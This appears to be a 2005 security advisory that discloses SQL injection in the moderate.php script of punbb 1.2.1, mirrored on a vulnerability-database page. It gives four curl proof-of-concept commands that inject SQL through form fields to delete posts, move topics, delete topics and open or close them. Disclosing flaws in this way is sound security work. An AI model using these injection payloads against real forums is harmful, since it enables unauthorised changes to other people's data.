Lucene search
K

advisory003.txt

🗓️ 28 Feb 2005 00:00:00Reported by John GumbelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

SQL injection vulnerability in punbb-1.2.1 moderate.php allows unauthorized SQL commands execution.

Code
`==============================================  
SQL Injections in punbb-1.2.1 moderate.php  
==============================================  
  
Description  
-----------  
  
Improper handling of several arguments in  
moderate.php allows a malicious moderator (or admin)  
to inject arbitrary SQL statements.  
  
This also affects systems using the magic_quotes_gpc  
option in php.ini.  
  
Proof of concept  
----------------  
  
These examples will not do anything malicious or  
even cause the system to report an error. Instead  
they are crafted such that by simply adding a ;  
or ' just before the comment "-- this won't show"  
will cause the SQL query to crash demonstrating  
the injection is possible.  
  
Assumptions:  
- punbb_cookie contains identification of a  
moderator for forum with id 1.  
  
Attacks delete posts:  
curl --referer http://target/moderate.php --form posts="0) -- this won't show" --form delete_posts_comply=1 --cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1\&tid=1  
  
Attacks move topics:  
curl --referer http://target/moderate.php --form topics="2) -- this won't show" --form move_to_forum=2 --form move_topics=1 --form move_topics_to=1 --cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1  
  
Attacks delete topics:  
curl --referer http://target/moderate.php --form topics="2) -- this won't show" --form delete_topics=1 --form delete_topics_comply=1 --cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1  
  
Attacks open/close:  
curl --referer http://target/moderate.php --form "topics[0) -- this won't show]"= --form open=1 --cookie "punbb_cookie=<valid cookie> target/moderate.php?fid=1  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation